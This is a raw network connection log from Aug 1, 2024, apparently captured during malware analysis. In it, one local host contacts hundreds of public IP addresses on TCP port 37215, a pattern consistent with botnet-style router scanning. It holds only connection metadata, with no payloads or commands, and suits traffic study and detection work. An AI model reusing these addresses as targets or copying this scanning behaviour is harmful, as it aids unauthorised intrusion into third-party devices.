Aug 1, 2024 15:35:04.598339081 CEST	44118	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:04.598437071 CEST	37215	43310	41.28.35.40	192.168.2.14
Aug 1, 2024 15:35:04.598447084 CEST	37215	49452	157.100.93.96	192.168.2.14
Aug 1, 2024 15:35:04.598535061 CEST	49452	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:04.598896980 CEST	45684	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:04.598977089 CEST	37215	53834	41.163.193.213	192.168.2.14
Aug 1, 2024 15:35:04.599438906 CEST	55918	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:04.599678040 CEST	37215	43412	157.151.50.133	192.168.2.14
Aug 1, 2024 15:35:04.599689007 CEST	37215	48754	41.97.62.249	192.168.2.14
Aug 1, 2024 15:35:04.599740028 CEST	43412	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:04.599740982 CEST	48754	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:04.599935055 CEST	37215	55818	90.107.228.59	192.168.2.14
Aug 1, 2024 15:35:04.600013971 CEST	56624	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:04.600357056 CEST	37215	50334	41.214.220.24	192.168.2.14
Aug 1, 2024 15:35:04.600399971 CEST	50334	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:04.600492001 CEST	37215	33022	41.82.131.194	192.168.2.14
Aug 1, 2024 15:35:04.600580931 CEST	47886	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:04.601008892 CEST	37215	53304	197.175.155.221	192.168.2.14
Aug 1, 2024 15:35:04.601057053 CEST	53304	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:04.601074934 CEST	37215	34346	74.96.4.80	192.168.2.14
Aug 1, 2024 15:35:04.601166964 CEST	49802	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:04.601320982 CEST	37215	44368	41.206.119.232	192.168.2.14
Aug 1, 2024 15:35:04.601492882 CEST	37215	58288	41.248.35.8	192.168.2.14
Aug 1, 2024 15:35:04.601552963 CEST	58288	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:04.601600885 CEST	37215	37068	41.225.195.225	192.168.2.14
Aug 1, 2024 15:35:04.601783991 CEST	33600	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:04.601964951 CEST	37215	42486	157.189.171.10	192.168.2.14
Aug 1, 2024 15:35:04.601998091 CEST	42486	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:04.602075100 CEST	37068	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:04.602076054 CEST	37215	46406	157.86.182.203	192.168.2.14
Aug 1, 2024 15:35:04.602082968 CEST	34346	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:04.602082968 CEST	33022	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:04.602086067 CEST	44368	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:04.602087021 CEST	53834	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:04.602088928 CEST	55818	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:04.602088928 CEST	43310	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:04.602364063 CEST	34206	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:04.602747917 CEST	37215	40246	96.16.7.143	192.168.2.14
Aug 1, 2024 15:35:04.602788925 CEST	40246	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:04.602927923 CEST	37215	51420	18.186.212.139	192.168.2.14
Aug 1, 2024 15:35:04.602971077 CEST	60406	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:04.603203058 CEST	37215	44118	197.139.54.254	192.168.2.14
Aug 1, 2024 15:35:04.603236914 CEST	44118	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:04.603468895 CEST	37215	49452	157.100.93.96	192.168.2.14
Aug 1, 2024 15:35:04.603573084 CEST	37778	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:04.603619099 CEST	37215	45684	43.172.165.213	192.168.2.14
Aug 1, 2024 15:35:04.603658915 CEST	45684	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:04.604161024 CEST	40580	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:04.604290009 CEST	37215	55918	157.125.227.224	192.168.2.14
Aug 1, 2024 15:35:04.604341030 CEST	55918	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:04.604763985 CEST	53364	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:04.605066061 CEST	37215	43412	157.151.50.133	192.168.2.14
Aug 1, 2024 15:35:04.605377913 CEST	60192	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:04.605401993 CEST	37215	56624	197.19.124.102	192.168.2.14
Aug 1, 2024 15:35:04.605412006 CEST	37215	48754	41.97.62.249	192.168.2.14
Aug 1, 2024 15:35:04.605444908 CEST	56624	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:04.605957985 CEST	58500	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:04.605978012 CEST	37215	47886	65.76.92.144	192.168.2.14
Aug 1, 2024 15:35:04.605997086 CEST	37215	50334	41.214.220.24	192.168.2.14
Aug 1, 2024 15:35:04.606021881 CEST	47886	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:04.606045008 CEST	37215	49802	197.28.88.85	192.168.2.14
Aug 1, 2024 15:35:04.606070995 CEST	49452	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:04.606076002 CEST	50334	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:04.606076002 CEST	49802	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:04.606081963 CEST	48754	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:04.606082916 CEST	43412	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:04.606086969 CEST	51420	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:04.606086969 CEST	46406	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:04.606566906 CEST	55876	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:04.606617928 CEST	37215	53304	197.175.155.221	192.168.2.14
Aug 1, 2024 15:35:04.606764078 CEST	37215	33600	157.229.139.151	192.168.2.14
Aug 1, 2024 15:35:04.606817961 CEST	33600	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:04.607150078 CEST	53436	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:04.607162952 CEST	37215	58288	41.248.35.8	192.168.2.14
Aug 1, 2024 15:35:04.607418060 CEST	37215	34206	41.161.109.43	192.168.2.14
Aug 1, 2024 15:35:04.607453108 CEST	37215	42486	157.189.171.10	192.168.2.14
Aug 1, 2024 15:35:04.607471943 CEST	34206	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:04.607727051 CEST	51518	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:04.607774019 CEST	37215	60406	156.129.112.128	192.168.2.14
Aug 1, 2024 15:35:04.607809067 CEST	60406	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:04.608247995 CEST	37215	40246	96.16.7.143	192.168.2.14
Aug 1, 2024 15:35:04.608320951 CEST	48556	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:04.608644962 CEST	37215	37778	197.70.240.46	192.168.2.14
Aug 1, 2024 15:35:04.608688116 CEST	37778	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:04.608926058 CEST	49530	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:04.608958006 CEST	37215	40580	157.123.6.157	192.168.2.14
Aug 1, 2024 15:35:04.609002113 CEST	40580	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:04.609127998 CEST	37215	44118	197.139.54.254	192.168.2.14
Aug 1, 2024 15:35:04.609510899 CEST	39690	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:04.609659910 CEST	37215	45684	43.172.165.213	192.168.2.14
Aug 1, 2024 15:35:04.609675884 CEST	37215	53364	157.247.193.130	192.168.2.14
Aug 1, 2024 15:35:04.609711885 CEST	53364	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:04.610007048 CEST	37215	55918	157.125.227.224	192.168.2.14
Aug 1, 2024 15:35:04.610065937 CEST	44118	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:04.610069036 CEST	55918	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:04.610069036 CEST	58288	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:04.610069990 CEST	40246	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:04.610079050 CEST	45684	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:04.610079050 CEST	42486	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:04.610079050 CEST	53304	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:04.610163927 CEST	44030	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:04.610277891 CEST	37215	60192	157.190.63.145	192.168.2.14
Aug 1, 2024 15:35:04.610445023 CEST	60192	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:04.610522032 CEST	37215	56624	197.19.124.102	192.168.2.14
Aug 1, 2024 15:35:04.610899925 CEST	37212	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:04.610939026 CEST	37215	58500	197.208.242.88	192.168.2.14
Aug 1, 2024 15:35:04.610976934 CEST	58500	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:04.611143112 CEST	37215	47886	65.76.92.144	192.168.2.14
Aug 1, 2024 15:35:04.611493111 CEST	37215	49802	197.28.88.85	192.168.2.14
Aug 1, 2024 15:35:04.611504078 CEST	37215	55876	157.137.14.198	192.168.2.14
Aug 1, 2024 15:35:04.611540079 CEST	55876	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:04.611643076 CEST	41846	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:04.611761093 CEST	37215	33600	157.229.139.151	192.168.2.14
Aug 1, 2024 15:35:04.611943960 CEST	37215	53436	197.103.172.28	192.168.2.14
Aug 1, 2024 15:35:04.611982107 CEST	53436	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:04.612297058 CEST	54034	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:04.612405062 CEST	37215	34206	41.161.109.43	192.168.2.14
Aug 1, 2024 15:35:04.612629890 CEST	37215	51518	157.76.52.250	192.168.2.14
Aug 1, 2024 15:35:04.612665892 CEST	51518	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:04.612772942 CEST	37215	60406	156.129.112.128	192.168.2.14
Aug 1, 2024 15:35:04.612847090 CEST	37688	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:04.613424063 CEST	33574	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:04.613550901 CEST	37215	48556	27.46.248.210	192.168.2.14
Aug 1, 2024 15:35:04.613606930 CEST	48556	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:04.613729954 CEST	37215	49530	197.189.144.154	192.168.2.14
Aug 1, 2024 15:35:04.613769054 CEST	49530	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:04.613807917 CEST	37215	37778	197.70.240.46	192.168.2.14
Aug 1, 2024 15:35:04.614012003 CEST	53012	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:04.614068985 CEST	49802	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:04.614070892 CEST	47886	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:04.614072084 CEST	34206	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:04.614072084 CEST	37778	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:04.614072084 CEST	33600	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:04.614072084 CEST	60406	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:04.614077091 CEST	56624	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:04.614281893 CEST	37215	39690	41.221.170.136	192.168.2.14
Aug 1, 2024 15:35:04.614324093 CEST	39690	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:04.614486933 CEST	37215	40580	157.123.6.157	192.168.2.14
Aug 1, 2024 15:35:04.614620924 CEST	36310	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:04.615091085 CEST	37215	53364	157.247.193.130	192.168.2.14
Aug 1, 2024 15:35:04.615103006 CEST	37215	44030	157.228.83.255	192.168.2.14
Aug 1, 2024 15:35:04.615140915 CEST	44030	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:04.615241051 CEST	32854	37215	192.168.2.14	41.251.95.71
Aug 1, 2024 15:35:04.615504980 CEST	37215	60192	157.190.63.145	192.168.2.14
Aug 1, 2024 15:35:04.615811110 CEST	37215	37212	41.196.127.30	192.168.2.14
Aug 1, 2024 15:35:04.615813017 CEST	48472	37215	192.168.2.14	197.227.219.149
Aug 1, 2024 15:35:04.615854025 CEST	37212	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:04.615942001 CEST	37215	58500	197.208.242.88	192.168.2.14
Aug 1, 2024 15:35:04.616437912 CEST	37215	55876	157.137.14.198	192.168.2.14
Aug 1, 2024 15:35:04.616463900 CEST	33572	37215	192.168.2.14	120.42.180.164
Aug 1, 2024 15:35:04.616698980 CEST	37215	41846	102.87.73.247	192.168.2.14
Aug 1, 2024 15:35:04.616748095 CEST	41846	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:04.617008924 CEST	37215	53436	197.103.172.28	192.168.2.14
Aug 1, 2024 15:35:04.617018938 CEST	56754	37215	192.168.2.14	159.237.82.189
Aug 1, 2024 15:35:04.617336035 CEST	37215	54034	41.101.92.246	192.168.2.14
Aug 1, 2024 15:35:04.617422104 CEST	54034	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:04.617618084 CEST	42586	37215	192.168.2.14	41.83.43.176
Aug 1, 2024 15:35:04.617636919 CEST	37215	37688	157.152.197.2	192.168.2.14
Aug 1, 2024 15:35:04.617686987 CEST	37688	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:04.617892981 CEST	37215	51518	157.76.52.250	192.168.2.14
Aug 1, 2024 15:35:04.618067980 CEST	53436	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:04.618071079 CEST	51518	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:04.618071079 CEST	55876	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:04.618083000 CEST	58500	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:04.618083000 CEST	60192	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:04.618088007 CEST	53364	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:04.618092060 CEST	40580	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:04.618297100 CEST	33894	37215	192.168.2.14	41.250.24.66
Aug 1, 2024 15:35:04.618299961 CEST	37215	33574	41.4.240.112	192.168.2.14
Aug 1, 2024 15:35:04.618335962 CEST	33574	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:04.618767023 CEST	37215	48556	27.46.248.210	192.168.2.14
Aug 1, 2024 15:35:04.618874073 CEST	37215	53012	157.155.128.239	192.168.2.14
Aug 1, 2024 15:35:04.618915081 CEST	53012	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:04.618936062 CEST	53632	37215	192.168.2.14	173.101.5.109
Aug 1, 2024 15:35:04.619093895 CEST	37215	49530	197.189.144.154	192.168.2.14
Aug 1, 2024 15:35:04.619438887 CEST	37215	39690	41.221.170.136	192.168.2.14
Aug 1, 2024 15:35:04.619487047 CEST	37215	36310	186.36.48.7	192.168.2.14
Aug 1, 2024 15:35:04.619538069 CEST	36310	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:04.619553089 CEST	40824	37215	192.168.2.14	197.157.93.8
Aug 1, 2024 15:35:04.620112896 CEST	37215	44030	157.228.83.255	192.168.2.14
Aug 1, 2024 15:35:04.620157957 CEST	40758	37215	192.168.2.14	51.75.65.0
Aug 1, 2024 15:35:04.620605946 CEST	56050	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:04.620625019 CEST	60072	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:04.620646000 CEST	44812	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:04.620649099 CEST	37215	32854	41.251.95.71	192.168.2.14
Aug 1, 2024 15:35:04.620660067 CEST	37215	48472	197.227.219.149	192.168.2.14
Aug 1, 2024 15:35:04.620671988 CEST	36804	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:04.620692015 CEST	32854	37215	192.168.2.14	41.251.95.71
Aug 1, 2024 15:35:04.620697021 CEST	41704	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:04.620702982 CEST	48472	37215	192.168.2.14	197.227.219.149
Aug 1, 2024 15:35:04.620718956 CEST	58222	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:04.620729923 CEST	39632	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:04.620752096 CEST	37034	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:04.620769024 CEST	54154	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:04.620811939 CEST	60384	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:04.620822906 CEST	33272	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:04.620835066 CEST	56692	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:04.620845079 CEST	54826	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:04.620872021 CEST	45406	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:04.620908976 CEST	34136	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:04.620923042 CEST	44340	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:04.620929003 CEST	57722	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:04.620949984 CEST	60458	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:04.620966911 CEST	42624	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:04.621002913 CEST	55922	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:04.621023893 CEST	56982	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:04.621027946 CEST	40300	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:04.621038914 CEST	45820	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:04.621068001 CEST	54060	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:04.621089935 CEST	39178	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:04.621114016 CEST	58668	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:04.621129990 CEST	39572	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:04.621141911 CEST	45926	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:04.621170998 CEST	47762	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:04.621181965 CEST	44772	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:04.621205091 CEST	49232	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:04.621242046 CEST	51138	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:04.621248007 CEST	36318	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:04.621258974 CEST	39904	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:04.621275902 CEST	42624	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:04.621309996 CEST	42526	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:04.621311903 CEST	56720	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:04.621329069 CEST	48768	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:04.621344090 CEST	41826	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:04.621366024 CEST	44918	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:04.621387959 CEST	55422	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:04.621408939 CEST	60784	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:04.621427059 CEST	58310	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:04.621460915 CEST	39410	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:04.621478081 CEST	33444	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:04.621484995 CEST	35982	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:04.621511936 CEST	48224	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:04.621525049 CEST	49962	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:04.621547937 CEST	59664	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:04.621566057 CEST	36232	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:04.621603966 CEST	48482	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:04.621603966 CEST	37888	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:04.621618986 CEST	38146	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:04.621632099 CEST	42558	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:04.621655941 CEST	48380	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:04.621676922 CEST	58820	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:04.621689081 CEST	37215	33572	120.42.180.164	192.168.2.14
Aug 1, 2024 15:35:04.621706009 CEST	48972	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:04.621718884 CEST	48844	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:04.621737957 CEST	46202	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:04.621763945 CEST	47026	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:04.621782064 CEST	33572	37215	192.168.2.14	120.42.180.164
Aug 1, 2024 15:35:04.621783018 CEST	59022	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:04.621809006 CEST	58088	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:04.621823072 CEST	38956	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:04.621846914 CEST	32842	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:04.621859074 CEST	53264	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:04.621870041 CEST	37215	37212	41.196.127.30	192.168.2.14
Aug 1, 2024 15:35:04.621886969 CEST	52840	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:04.621911049 CEST	41148	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:04.621927023 CEST	34922	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:04.621947050 CEST	41974	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:04.621958971 CEST	55436	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:04.621992111 CEST	41588	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:04.622015953 CEST	44796	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:04.622023106 CEST	44304	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:04.622044086 CEST	40340	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:04.622061014 CEST	37212	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:04.622061014 CEST	44030	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:04.622067928 CEST	39690	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:04.622067928 CEST	49530	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:04.622077942 CEST	43310	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:04.622081995 CEST	48556	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:04.622097015 CEST	53834	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:04.622116089 CEST	55818	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:04.622137070 CEST	33022	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:04.622153044 CEST	34346	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:04.622178078 CEST	44368	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:04.622200012 CEST	37068	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:04.622216940 CEST	46406	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:04.622231960 CEST	51420	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:04.622253895 CEST	49452	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:04.622273922 CEST	43412	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:04.622292042 CEST	48754	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:04.622327089 CEST	53304	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:04.622347116 CEST	58288	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:04.622363091 CEST	42486	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:04.622400999 CEST	40246	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:04.622401953 CEST	44118	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:04.622421026 CEST	45684	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:04.622441053 CEST	55918	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:04.622454882 CEST	56624	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:04.622476101 CEST	47886	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:04.622533083 CEST	34206	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:04.622546911 CEST	60406	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:04.622559071 CEST	33600	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:04.622570992 CEST	37778	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:04.622625113 CEST	53364	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:04.622642994 CEST	60192	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:04.622642994 CEST	58500	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:04.622658968 CEST	55876	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:04.622679949 CEST	53436	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:04.622689962 CEST	51518	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:04.622719049 CEST	48556	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:04.622736931 CEST	49530	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:04.622752905 CEST	39690	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:04.622776985 CEST	44030	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:04.622797012 CEST	37212	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:04.622828007 CEST	41846	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:04.622839928 CEST	54034	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:04.622857094 CEST	37688	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:04.622858047 CEST	37215	41846	102.87.73.247	192.168.2.14
Aug 1, 2024 15:35:04.622874975 CEST	33574	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:04.622905970 CEST	53012	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:04.622912884 CEST	37215	56754	159.237.82.189	192.168.2.14
Aug 1, 2024 15:35:04.622915983 CEST	36310	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:04.622924089 CEST	37215	42586	41.83.43.176	192.168.2.14
Aug 1, 2024 15:35:04.622950077 CEST	56754	37215	192.168.2.14	159.237.82.189
Aug 1, 2024 15:35:04.622952938 CEST	56050	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:04.622961044 CEST	42586	37215	192.168.2.14	41.83.43.176
Aug 1, 2024 15:35:04.622987032 CEST	60072	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:04.623003006 CEST	50334	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:04.623003006 CEST	49802	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:04.623003006 CEST	40580	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:04.623024940 CEST	39632	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:04.623028994 CEST	58222	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:04.623033047 CEST	44812	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:04.623033047 CEST	54154	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:04.623035908 CEST	37034	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:04.623040915 CEST	60384	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:04.623048067 CEST	45406	37215	192.168.2.14	71.55.134.200
